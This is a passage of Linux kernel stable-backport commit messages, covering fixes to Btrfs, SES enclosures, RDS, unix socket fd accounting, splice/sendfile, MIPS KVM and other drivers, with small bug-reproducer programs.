redirty the page and return AOP_WRITEPAGE_ACTIVATE; so the VM knows it wasn't successful. Thanks, Signed-off-by: Josef Bacik Reviewed-by: Liu Bo Signed-off-by: David Sterba Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 70993b4da6b5528f19762ac8d3f1b3f9892cdb47 Author: Anand Jain Date: Wed Oct 7 17:23:23 2015 +0800 Btrfs: add missing brelse when superblock checksum fails commit b2acdddfad13c38a1e8b927d83c3cf321f63601a upstream. Looks like oversight, call brelse() when checksum fails. Further down the code, in the non error path, we do call brelse() and so we don't see brelse() in the goto error paths. Signed-off-by: Anand Jain Reviewed-by: David Sterba Signed-off-by: David Sterba Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f801fe8bb27d27a912388cbb4f166389199bf86f Author: Russell King Date: Fri Dec 11 12:09:03 2015 +0000 scripts: recordmcount: break hardlinks commit dd39a26538e37f6c6131e829a4a510787e43c783 upstream. recordmcount edits the file in-place, which can cause problems when using ccache in hardlink mode. Arrange for recordmcount to break a hardlinked object. Link: http://lkml.kernel.org/r/E1a7MVT-0000et-62@rmk-PC.arm.linux.org.uk Signed-off-by: Russell King Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 29bf21dd70d1bc983f215655be5a7ef19319e277 Author: James Bottomley Date: Fri Dec 11 09:16:38 2015 -0800 ses: fix additional element traversal bug commit 5e1033561da1152c57b97ee84371dba2b3d64c25 upstream. KASAN found that our additional element processing scripts drop off the end of the VPD page into unallocated space. The reason is that not every element has additional information but our traversal routines think they do, leading to them expecting far more additional information than is present. Fix this by adding a gate to the traversal routine so that it only processes elements that are expected to have additional information (list is in SES-2 section 6.1.13.1: Additional Element Status diagnostic page overview) Reported-by: Pavel Tikhomirov Tested-by: Pavel Tikhomirov Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 638057ab3ef823a2e9711dec31c97dbc67bea218 Author: James Bottomley Date: Tue Dec 8 09:00:31 2015 -0800 ses: Fix problems with simple enclosures commit 3417c1b5cb1fdc10261dbed42b05cc93166a78fd upstream. Simple enclosure implementations (mostly USB) are allowed to return only page 8 to every diagnostic query. That really confuses our implementation because we assume the return is the page we asked for and end up doing incorrect offsets based on bogus information leading to accesses outside of allocated ranges. Fix that by checking the page code of the return and giving an error if it isn't the one we asked for. This should fix reported bugs with USB storage by simply refusing to attach to enclosures that behave like this. It's also good defensive practise now that we're starting to see more USB enclosures. Reported-by: Andrea Gelmini Reviewed-by: Ewan D. Milne Reviewed-by: Tomas Henzl Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 03ad6fa8bdec8500bc14bcbfc8b8689ec1f110ac Author: Johannes Berg Date: Thu Dec 10 10:37:51 2015 +0100 rfkill: copy the name into the rfkill struct commit b7bb110008607a915298bf0f47d25886ecb94477 upstream. Some users of rfkill, like NFC and cfg80211, use a dynamic name when allocating rfkill, in those cases dev_name(). Therefore, the pointer passed to rfkill_alloc() might not be valid forever, I specifically found the case that the rfkill name was quite obviously an invalid pointer (or at least garbage) when the wiphy had been renamed. Fix this by making a copy of the rfkill name in rfkill_alloc(). Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e77594efee9d1386bc7b65fb2936b9703c9a901f Author: Kirill A. Shutemov Date: Mon Nov 30 04:17:31 2015 +0200 vgaarb: fix signal handling in vga_get() commit 9f5bd30818c42c6c36a51f93b4df75a2ea2bd85e upstream. There are few defects in vga_get() related to signal hadning: - we shouldn't check for pending signals for TASK_UNINTERRUPTIBLE case; - if we found pending signal we must remove ourself from wait queue and change task state back to running; - -ERESTARTSYS is more appropriate, I guess. Signed-off-by: Kirill A. Shutemov Reviewed-by: David Herrmann Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd3106bfb51ab2554d59b8daed163b17af3f3c67 Author: Joe Thornber Date: Thu Dec 10 14:37:53 2015 +0000 dm btree: fix bufio buffer leaks in dm_btree_del() error path commit ed8b45a3679eb49069b094c0711b30833f27c734 upstream. If dm_btree_del()'s call to push_frame() fails, e.g. due to btree_node_validator finding invalid metadata, the dm_btree_del() error path must unlock all frames (which have active dm-bufio buffers) that were pushed onto the del_stack. Otherwise, dm_bufio_client_destroy() will BUG_ON() because dm-bufio buffers have leaked, e.g.: device-mapper: bufio: leaked buffer 3, hold count 1, list 0 Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 32fb53b1896d6a43387e665a3e153b92bf08e92f Author: Mikulas Patocka Date: Thu Nov 26 12:00:59 2015 -0500 sata_sil: disable trim commit d98f1cd0a3b70ea91f1dfda3ac36c3b2e1a4d5e2 upstream. When I connect an Intel SSD to SATA SIL controller (PCI ID 1095:3114), any TRIM command results in I/O errors being reported in the log. There is other similar error reported with TRIM and the SIL controller: https://bugs.centos.org/view.php?id=5880 Apparently the controller doesn't support TRIM commands. This patch disables TRIM support on the SATA SIL controller. ata7.00: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x0 ata7.00: BMDMA2 stat 0x50001 ata7.00: failed command: DATA SET MANAGEMENT ata7.00: cmd 06/01:01:00:00:00/00:00:00:00:00/a0 tag 0 dma 512 out res 51/04:01:00:00:00/00:00:00:00:00/a0 Emask 0x1 (device error) ata7.00: status: { DRDY ERR } ata7.00: error: { ABRT } ata7.00: device reported invalid CHS sector 0 sd 8:0:0:0: [sdb] tag#0 FAILED Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE sd 8:0:0:0: [sdb] tag#0 Sense Key : Illegal Request [current] [descriptor] sd 8:0:0:0: [sdb] tag#0 Add. Sense: Unaligned write command sd 8:0:0:0: [sdb] tag#0 CDB: Write same(16) 93 08 00 00 00 00 00 21 95 88 00 20 00 00 00 00 blk_update_request: I/O error, dev sdb, sector 2200968 Signed-off-by: Mikulas Patocka Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 77af9f3a8ada4bb6730d7b56467d1b5942ca7e69 Author: Sasha Levin Date: Mon Nov 30 20:34:20 2015 -0500 sched/core: Remove false-positive warning from wake_up_process() commit 119d6f6a3be8b424b200dcee56e74484d5445f7e upstream. Because wakeups can (fundamentally) be late, a task might not be in the expected state. Therefore testing against a task's state is racy, and can yield false positives. Signed-off-by: Sasha Levin Signed-off-by: Peter Zijlstra (Intel) Acked-by: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: oleg@redhat.com Fixes: 9067ac85d533 ("wake_up_process() should be never used to wakeup a TASK_STOPPED/TRACED task") Link: http://lkml.kernel.org/r/1448933660-23082-1-git-send-email-sasha.levin@oracle.com Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 74823c55a406bc1cebf71d27239ab9627e9e30dd Author: Mirza Krak Date: Tue Nov 10 14:59:34 2015 +0100 can: sja1000: clear interrupts on start commit 7cecd9ab80f43972c056dc068338f7bcc407b71c upstream. According to SJA1000 data sheet error-warning (EI) interrupt is not cleared by setting the controller in to reset-mode. Then if we have the following case: - system is suspended (echo mem > /sys/power/state) and SJA1000 is left in operating state - A bus error condition occurs which activates EI interrupt, system is still suspended which means EI interrupt will be not be handled nor cleared. If the above two events occur, on resume there is no way to return the SJA1000 to operating state, except to cycle power to it. By simply reading the IR register on start we will clear any previous conditions that could be present. Signed-off-by: Mirza Krak Reported-by: Christian Magnusson Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e6e9b1f81306822f144465dce1505605af6e1891 Author: Quentin Casasnovas Date: Tue Nov 24 17:13:21 2015 -0500 RDS: fix race condition when sending a message on unbound socket commit 8c7188b23474cca017b3ef354c4a58456f68303a upstream. Sasha's found a NULL pointer dereference in the RDS connection code when sending a message to an apparently unbound socket. The problem is caused by the code checking if the socket is bound in rds_sendmsg(), which checks the rs_bound_addr field without taking a lock on the socket. This opens a race where rs_bound_addr is temporarily set but where the transport is not in rds_bind(), leading to a NULL pointer dereference when trying to dereference 'trans' in __rds_conn_create(). Vegard wrote a reproducer for this issue, so kindly ask him to share if you're interested. I cannot reproduce the NULL pointer dereference using Vegard's reproducer with this patch, whereas I could without. Complete earlier incomplete fix to CVE-2015-6937: 74e98eb08588 ("RDS: verify the underlying transport exists before creating a connection") Reviewed-by: Vegard Nossum Reviewed-by: Sasha Levin Acked-by: Santosh Shilimkar Signed-off-by: Quentin Casasnovas Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f9e5d40d474113c9c1ef75170b62150ea633cbf6 Author: Johannes Berg Date: Tue Nov 17 14:25:21 2015 +0100 mac80211: mesh: fix call_rcu() usage commit c2e703a55245bfff3db53b1f7cbe59f1ee8a4339 upstream. When using call_rcu(), the called function may be delayed quite significantly, and without a matching rcu_barrier() there's no way to be sure it has finished. Therefore, global state that could be gone/freed/reused should never be touched in the callback. Fix this in mesh by moving the atomic_dec() into the caller; that's not really a problem since we already unlinked the path and it will be destroyed anyway. This fixes a crash Jouni observed when running certain tests in a certain order, in which the mesh interface was torn down, the memory reused for a function pointer (work struct) and running that then crashed since the pointer had been decremented by 1, resulting in an invalid instruction byte stream. Fixes: eb2b9311fd00 ("mac80211: mesh path table implementation") Reported-by: Jouni Malinen Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d4dfe7893ac2966f34f870dbd513fdd577fe559b Author: Suman Anna Date: Wed Sep 16 19:29:17 2015 -0500 virtio: fix memory leak of virtio ida cache layers commit c13f99b7e945dad5273a8b7ee230f4d1f22d3354 upstream. The virtio core uses a static ida named virtio_index_ida for assigning index numbers to virtio devices during registration. The ida core may allocate some internal idr cache layers and an ida bitmap upon any ida allocation, and all these layers are truely freed only upon the ida destruction. The virtio_index_ida is not destroyed at present, leading to a memory leak when using the virtio core as a module and atleast one virtio device is registered and unregistered. Fix this by invoking ida_destroy() in the virtio core module exit. Signed-off-by: Suman Anna Signed-off-by: Michael S. Tsirkin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 797156d959debe420bab15ba7e45158306854401 Author: Steven Rostedt (Red Hat) Date: Mon Nov 23 10:35:36 2015 -0500 ring-buffer: Update read stamp with first real commit on page commit b81f472a208d3e2b4392faa6d17037a89442f4ce upstream. Do not update the read stamp after swapping out the reader page from the write buffer. If the reader page is swapped out of the buffer before an event is written to it, then the read_stamp may get an out of date timestamp, as the page timestamp is updated on the first commit to that page. rb_get_reader_page() only returns a page if it has an event on it, otherwise it will return NULL. At that point, check if the page being returned has events and has not been read yet. Then at that point update the read_stamp to match the time stamp of the reader page. Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2138f0ecf0e06fb74baa327b820068ad2d02766a Author: Jan Kara Date: Mon Nov 23 13:09:51 2015 +0100 vfs: Avoid softlockups with sendfile(2) commit c2489e07c0a71a56fb2c84bc0ee66cddfca7d068 upstream. The following test program from Dmitry can cause softlockups or RCU stalls as it copies 1GB from tmpfs into eventfd and we don't have any scheduling point at that path in sendfile(2) implementation: int r1 = eventfd(0, 0); int r2 = memfd_create("", 0); unsigned long n = 1<<30; fallocate(r2, 0, 0, n); sendfile(r1, r2, 0, n); Add cond_resched() into __splice_from_pipe() to fix the problem. CC: Dmitry Vyukov Signed-off-by: Jan Kara Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5407c6c4bbb545c6fab78305c024b9f06c6ea9be Author: Vineet Gupta Date: Mon Nov 23 19:32:51 2015 +0530 ARC: dw2 unwind: Remove falllback linear search thru FDE entries commit 2e22502c080f27afeab5e6f11e618fb7bc7aea53 upstream. Fixes STAR 9000953410: "perf callgraph profiling causing RCU stalls" | perf record -g -c 15000 -e cycles /sbin/hackbench | | INFO: rcu_preempt self-detected stall on CPU | 1: (1 GPs behind) idle=609/140000000000002/0 softirq=2914/2915 fqs=603 | Task dump for CPU 1: in-kernel dwarf unwinder has a fast binary lookup and a fallback linear search (which iterates thru each of ~11K entries) thus takes 2 orders of magnitude longer (~3 million cycles vs. 2000). Routines written in hand assembler lack dwarf info (as we don't support assembler CFI pseudo-ops yet) fail the unwinder binary lookup, hit linear search, failing nevertheless in the end. However the linear search is pointless as binary lookup tables are created from it in first place. It is impossible to have binary lookup fail while succeed the linear search. It is pure waste of cycles thus removed by this patch. This manifested as RCU stalls / NMI watchdog splat when running hackbench under perf with callgraph profiling. The triggering condition was perf counter overflowing in routine lacking dwarf info (like memset) leading to patheic 3 million cycle unwinder slow path and by the time it returned new interrupts were already pending (Timer, IPI) and taken rightaway. The original memset didn't make forward progress, system kept accruing more interrupts and more unwinder delayes in a vicious feedback loop, ultimately triggering the NMI diagnostic. Signed-off-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a284624ef54ff58a4c3659fbf0c608c47dca96e9 Author: Kees Cook Date: Thu Nov 19 17:18:54 2015 -0800 mac: validate mac_partition is within sector commit 02e2a5bfebe99edcf9d694575a75032d53fe1b73 upstream. If md->signature == MAC_DRIVER_MAGIC and md->block_size == 1023, a single 512 byte sector would be read (secsize / 512). However the partition structure would be located past the end of the buffer (secsize % 512). Signed-off-by: Kees Cook Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5e514e131edc775b566f10ad1d76fc6ece85d3c1 Author: Luca Porzio Date: Fri Nov 6 15:12:26 2015 +0000 mmc: remove bondage between REQ_META and reliable write commit d3df0465db00cf4ed9f90d0bfc3b827d32b9c796 upstream. Anytime a write operation is performed with Reliable Write flag enabled, the eMMC device is enforced to bypass the cache and do a write to the underling NVM device by Jedec specification; this causes a performance penalty since write operations can't be optimized by the device cache. In our tests, we replayed a typical mobile daily trace pattern and found ~9% overall time reduction in trace replay by using this patch. Also the write ops within 4KB~64KB chunk size range get a 40~60% performance improvement by using the patch (as this range of write chunks are the ones affected by REQ_META). This patch has been discussed in the Mobile & Embedded Linux Storage Forum and it's the results of feedbacks from many people. We also checked with fsdevl and f2fs mailing list developers that this change in the usage of REQ_META is not affecting FS behavior and we got positive feedbacks. Reporting here the feedbacks: http://comments.gmane.org/gmane.linux.file-systems/97219 http://thread.gmane.org/gmane.linux.file-systems.f2fs/3178/focus=3183 Signed-off-by: Bruce Ford Signed-off-by: Luca Porzio Fixes: ce39f9d17c14 ("mmc: support packed write command for eMMC4.5 devices") Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d46398e4fad801a207bfffb4f88cacfcb1f5aba0 Author: sumit.saxena@avagotech.com Date: Thu Oct 15 13:40:54 2015 +0530 megaraid_sas : SMAP restriction--do not access user memory from IOCTL code commit 323c4a02c631d00851d8edc4213c4d184ef83647 upstream. This is an issue on SMAP enabled CPUs and 32 bit apps running on 64 bit OS. Do not access user memory from kernel code. The SMAP bit restricts accessing user memory from kernel code. Signed-off-by: Sumit Saxena Signed-off-by: Kashyap Desai Reviewed-by: Tomas Henzl Signed-off-by: Martin K. Petersen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f9d47e9c3bf5b9f6d2b1722e91dbc7ad367d186d Author: sumit.saxena@avagotech.com Date: Thu Oct 15 13:40:04 2015 +0530 megaraid_sas: Do not use PAGE_SIZE for max_sectors commit 357ae967ad66e357f78b5cfb5ab6ca07fb4a7758 upstream. Do not use PAGE_SIZE marco to calculate max_sectors per I/O request. Driver code assumes PAGE_SIZE will be always 4096 which can lead to wrongly calculated value if PAGE_SIZE is not 4096. This issue was reported in Ubuntu Bugzilla Bug #1475166. Signed-off-by: Sumit Saxena Signed-off-by: Kashyap Desai Reviewed-by: Tomas Henzl Reviewed-by: Martin K. Petersen Signed-off-by: Martin K. Petersen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5e144914cab95d918efe330a198a758362a9fae5 Author: Valentin Rothberg Date: Tue Sep 22 19:00:40 2015 +0200 wm831x_power: Use IRQF_ONESHOT to request threaded IRQs commit 90adf98d9530054b8e665ba5a928de4307231d84 upstream. Since commit 1c6c69525b40 ("genirq: Reject bogus threaded irq requests") threaded IRQs without a primary handler need to be requested with IRQF_ONESHOT, otherwise the request will fail. scripts/coccinelle/misc/irqf_oneshot.cocci detected this issue. Fixes: b5874f33bbaf ("wm831x_power: Use genirq") Signed-off-by: Valentin Rothberg Signed-off-by: Sebastian Reichel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3f78007b719565b2abcd64dfa3c059194d2552b3 Author: Dan Carpenter Date: Mon Sep 21 19:21:51 2015 +0300 devres: fix a for loop bounds check commit 1f35d04a02a652f14566f875aef3a6f2af4cb77b upstream. The iomap[] array has PCIM_IOMAP_MAX (6) elements and not DEVICE_COUNT_RESOURCE (16). This bug was found using a static checker. It may be that the "if (!(mask & (1 << i)))" check means we never actually go past the end of the array in real life. Fixes: ec04b075843d ('iomap: implement pcim_iounmap_regions()') Signed-off-by: Dan Carpenter Acked-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d73bf210ad300ecac0369ecc69a4fe519687adb9 Author: Andrey Ryabinin Date: Wed Sep 23 15:49:29 2015 +0300 lockd: create NSM handles per net namespace commit 0ad95472bf169a3501991f8f33f5147f792a8116 upstream. Commit cb7323fffa85 ("lockd: create and use per-net NSM RPC clients on MON/UNMON requests") introduced per-net NSM RPC clients. Unfortunately this doesn't make any sense without per-net nsm_handle. E.g. the following scenario could happen Two hosts (X and Y) in different namespaces (A and B) share the same nsm struct. 1. nsm_monitor(host_X) called => NSM rpc client created, nsm->sm_monitored bit set. 2. nsm_mointor(host-Y) called => nsm->sm_monitored already set, we just exit. Thus in namespace B ln->nsm_clnt == NULL. 3. host X destroyed => nsm->sm_count decremented to 1 4. host Y destroyed => nsm_unmonitor() => nsm_mon_unmon() => NULL-ptr dereference of *ln->nsm_clnt So this could be fixed by making per-net nsm_handles list, instead of global. Thus different net namespaces will not be able share the same nsm_handle. Signed-off-by: Andrey Ryabinin Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e8b9cf64709f46473a738832ea4db41e0944bc43 Author: Roman Volkov Date: Fri Jan 1 16:24:41 2016 +0300 clocksource/drivers/vt8500: Increase the minimum delta commit f9eccf24615672896dc13251410c3f2f33a14f95 upstream. The vt8500 clocksource driver declares itself as capable to handle the minimum delay of 4 cycles by passing the value into clockevents_config_and_register(). The vt8500_timer_set_next_event() requires the passed cycles value to be at least 16. The impact is that userspace hangs in nanosleep() calls with small delay intervals. This problem is reproducible in Linux 4.2 starting from: c6eb3f70d448 ('hrtimer: Get rid of hrtimer softirq') From Russell King, more detailed explanation: "It's a speciality of the StrongARM/PXA hardware. It takes a certain number of OSCR cycles for the value written to hit the compare registers. So, if a very small delta is written (eg, the compare register is written with a value of OSCR + 1), the OSCR will have incremented past this value before it hits the underlying hardware. The result is, that you end up waiting a very long time for the OSCR to wrap before the event fires. So, we introduce a check in set_next_event() to detect this and return -ETIME if the calculated delta is too small, which causes the generic clockevents code to retry after adding the min_delta specified in clockevents_config_and_register() to the current time value. min_delta must be sufficient that we don't re-trip the -ETIME check - if we do, we will return -ETIME, forward the next event time, try to set it, return -ETIME again, and basically lock the system up. So, min_delta must be larger than the check inside set_next_event(). A factor of two was chosen to ensure that this situation would never occur. The PXA code worked on PXA systems for years, and I'd suggest no one changes this mechanism without access to a wide range of PXA systems, otherwise they're risking breakage." Cc: Russell King Acked-by: Alexey Charkov Signed-off-by: Roman Volkov Signed-off-by: Daniel Lezcano Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f649c06e643c7200bfff23f11b062d65c6fad7f9 Author: Thomas Gleixner Date: Sun Dec 13 18:12:30 2015 +0100 genirq: Prevent chip buslock deadlock commit abc7e40c81d113ef4bacb556f0a77ca63ac81d85 upstream. If a interrupt chip utilizes chip->buslock then free_irq() can deadlock in the following way: CPU0 CPU1 interrupt(X) (Shared or spurious) free_irq(X) interrupt_thread(X) chip_bus_lock(X) irq_finalize_oneshot(X) chip_bus_lock(X) synchronize_irq(X) synchronize_irq() waits for the interrupt thread to complete, i.e. forever. Solution is simple: Drop chip_bus_lock() before calling synchronize_irq() as we do with the irq_desc lock. There is nothing to be protected after the point where irq_desc lock has been released. This adds chip_bus_lock/unlock() to the remove_irq() code path, but that's actually correct in the case where remove_irq() is called on such an interrupt. The current users of remove_irq() are not affected as none of those interrupts is on a chip which requires buslock. Reported-by: Fredrik Markström Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9a50b264b323f9a803e68e6f5abcbddab1dd1022 Author: Hannes Frederic Sowa Date: Wed Feb 3 02:11:03 2016 +0100 unix: correctly track in-flight fds in sending process user_struct commit 415e3d3e90ce9e18727e8843ae343eda5a58fad6 upstream. The commit referenced in the Fixes tag incorrectly accounted the number of in-flight fds over a unix domain socket to the original opener of the file-descriptor. This allows another process to arbitrary deplete the original file-openers resource limit for the maximum of open files. Instead the sending processes and its struct cred should be credited. To do so, we add a reference counted struct user_struct pointer to the scm_fp_list and use it to account for the number of inflight unix fds. Fixes: 712f4aad406bb1 ("unix: properly account for FDs passed over unix sockets") Reported-by: David Herrmann Cc: David Herrmann Cc: Willy Tarreau Cc: Linus Torvalds Suggested-by: Linus Torvalds Signed-off-by: Hannes Frederic Sowa Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b58023805fba3f2fb57644c65d61f94cc093ca3c Author: Olga Kornievskaia Date: Mon Sep 14 19:54:36 2015 -0400 Failing to send a CLOSE if file is opened WRONLY and server reboots on a 4.x mount commit a41cbe86df3afbc82311a1640e20858c0cd7e065 upstream. A test case is as the description says: open(foobar, O_WRONLY); sleep() --> reboot the server close(foobar) The bug is because in nfs4state.c in nfs4_reclaim_open_state() a few line before going to restart, there is clear_bit(NFS4CLNT_RECLAIM_NOGRACE, &state->flags). NFS4CLNT_RECLAIM_NOGRACE is a flag for the client states not open owner states. Value of NFS4CLNT_RECLAIM_NOGRACE is 4 which is the value of NFS_O_WRONLY_STATE in nfs4_state->flags. So clearing it wipes out state and when we go to close it, “call_close†doesn’t get set as state flag is not set and CLOSE doesn’t go on the wire. Signed-off-by: Olga Kornievskaia Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b089f682f266a17fb08060fff59d092a6f6ccfa6 Author: Christophe Leroy Date: Wed May 6 17:26:47 2015 +0200 splice: sendfile() at once fails for big files commit 0ff28d9f4674d781e492bcff6f32f0fe48cf0fed upstream. Using sendfile with below small program to get MD5 sums of some files, it appear that big files (over 64kbytes with 4k pages system) get a wrong MD5 sum while small files get the correct sum. This program uses sendfile() to send a file to an AF_ALG socket for hashing. /* md5sum2.c */ #include #include #include #include #include #include #include #include #include int main(int argc, char **argv) { int sk = socket(AF_ALG, SOCK_SEQPACKET, 0); struct stat st; struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "hash", .salg_name = "md5", }; int n; bind(sk, (struct sockaddr*)&sa, sizeof(sa)); for (n = 1; n < argc; n++) { int size; int offset = 0; char buf[4096]; int fd; int sko; int i; fd = open(argv[n], O_RDONLY); sko = accept(sk, NULL, 0); fstat(fd, &st); size = st.st_size; sendfile(sko, fd, &offset, size); size = read(sko, buf, sizeof(buf)); for (i = 0; i < size; i++) printf("%2.2x", buf[i]); printf(" %s\n", argv[n]); close(fd); close(sko); } exit(0); } Test below is done using official linux patch files. First result is with a software based md5sum. Second result is with the program above. root@vgoip:~# ls -l patch-3.6.* -rw-r--r-- 1 root root 64011 Aug 24 12:01 patch-3.6.2.gz -rw-r--r-- 1 root root 94131 Aug 24 12:01 patch-3.6.3.gz root@vgoip:~# md5sum patch-3.6.* b3ffb9848196846f31b2ff133d2d6443 patch-3.6.2.gz c5e8f687878457db77cb7158c38a7e43 patch-3.6.3.gz root@vgoip:~# ./md5sum2 patch-3.6.* b3ffb9848196846f31b2ff133d2d6443 patch-3.6.2.gz 5fd77b24e68bb24dcc72d6e57c64790e patch-3.6.3.gz After investivation, it appears that sendfile() sends the files by blocks of 64kbytes (16 times PAGE_SIZE). The problem is that at the end of each block, the SPLICE_F_MORE flag is missing, therefore the hashing operation is reset as if it was the end of the file. This patch adds SPLICE_F_MORE to the flags when more data is pending. With the patch applied, we get the correct sums: root@vgoip:~# md5sum patch-3.6.* b3ffb9848196846f31b2ff133d2d6443 patch-3.6.2.gz c5e8f687878457db77cb7158c38a7e43 patch-3.6.3.gz root@vgoip:~# ./md5sum2 patch-3.6.* b3ffb9848196846f31b2ff133d2d6443 patch-3.6.2.gz c5e8f687878457db77cb7158c38a7e43 patch-3.6.3.gz Signed-off-by: Christophe Leroy Signed-off-by: Jens Axboe Cc: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0d03f79f1407ebb217ebe92a78cdfe1872631a43 Author: James Hogan Date: Wed Nov 11 14:21:20 2015 +0000 MIPS: KVM: Uninit VCPU in vcpu_create error path commit 585bb8f9a5e592f2ce7abbe5ed3112d5438d2754 upstream. If either of the memory allocations in kvm_arch_vcpu_create() fail, the vcpu which has been allocated and kvm_vcpu_init'd doesn't get uninit'd in the error handling path. Add a call to kvm_vcpu_uninit() to fix this. Fixes: 669e846e6c4e ("KVM/MIPS32: MIPS arch specific APIs for KVM") Signed-off-by: James Hogan Cc: Ralf Baechle Cc: Paolo Bonzini Cc: Gleb Natapov Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Signed-off-by: Paolo Bonzini Signed-off-by: James Hogan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e5f6c93ec658e2c4481d4a5702de6e69aa69bdcc Author: James Hogan Date: Wed Nov 11 14:21:19 2015 +0000 MIPS: KVM: Fix CACHE immediate offset sign extension commit c5c2a3b998f1ff5a586f9d37e154070b8d550d17 upstream. The immediate field of the CACHE instruction is signed, so ensure that it gets sign extended by casting it to an int16_t rather than just masking the low 16 bits. Fixes: e685c689f3a8 ("KVM/MIPS32: Privileged instruction/target branch emulation.") Signed-off-by: James Hogan Cc: Ralf Baechle Cc: Paolo Bonzini Cc: Gleb Natapov Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Signed-off-by: Paolo Bonzini Signed-off-by: James Hogan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e06b08f931627e0a719b267f7f1f656d52852208 Author: James Hogan Date: Wed Nov 11 14:21:18 2015 +0000 MIPS: KVM: Fix ASID restoration logic commit 002374f371bd02df864cce1fe85d90dc5b292837 upstream. ASID restoration on guest resume should determine the guest execution mode based on the guest Status register rather than bit 30 of the guest PC. Fix the two places in locore.S that do this, loading the guest status from the cop0 area. Note, this assembly is specific to the trap & emulate implementation of KVM, so it doesn't need to check the supervisor bit as that mode is not implemented in the guest. Fixes: b680f70fc111 ("KVM/MIPS32: Entry point for trampolining to...") Signed-off-by: James Hogan Cc: Ralf Baechle Cc: Paolo Bonzini Cc: Gleb Natapov Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Signed-off-by: Paolo Bonzini Signed-off-by: James Hogan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a3897f96f230fefed5cac08e84d8c949e787f544 Author: Hariprasad S Date: Fri Dec 11 13:59:17 2015 +0530 iw_cxgb3: Fix incorrectly returning error on success commit 67f1aee6f45059fd6b0f5b0ecb2c97ad0451f6b3 upstream. The cxgb3_*_send() functions return NET_XMIT_ values, which are positive integers values. So don't treat positive return values as an error. Signed-off-by: Steve Wise Signed-off-by: Hariprasad Shenai Signed-off-by: Doug Ledford [a pox on developers and maintainers who do not cc: stable for bug fixes like this - gregkh] Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e332e7ad5adba61fc9b93b386d3764b4e118272b Author: Corey Wright Date: Sun Feb 28 02:42:39 2016 -0600 proc: Fix ptrace-based permission checks for accessing task maps Modify mm_access() calls in fs/proc/task_mmu.c and fs/proc/task_nommu.c to have the mode include PTRACE_MODE_FSCREDS so accessing /proc/pid/maps and /proc/pid/pagemap is not denied to all users. In backporting upstream commit caaee623 to pre-3.18 kernel versions it was overlooked that mm_access() is used in fs/proc/task_*mmu.c as those calls were removed in 3.18 (by upstream commit 29a40ace) and did not exist at the time of the original commit. Signed-off-by: Corey Wright Acked-by: Jann Horn Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 980208bf8547c1a59df55df58d4c2fd175ef3d4f Author: Bjørn Mork Date: Fri Feb 12 16:40:00 2016 +0100 USB: option: add "4G LTE usb-modem U901" commit d061c1caa31d4d9792cfe48a2c6b309a0e01ef46 upstream. Thomas reports: T: Bus=01 Lev=01 Prnt=01 Port=03 Cnt=01 Dev#= 4 Spd=480 MxCh= 0 D: Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=64 #Cfgs= 1 P: Vendor=05c6 ProdID=6001 Rev=00.00 S: Manufacturer=USB Modem S: Product=USB Modem S: SerialNumber=1234567890ABCDEF C: #Ifs= 5 Cfg#= 1 Atr=e0 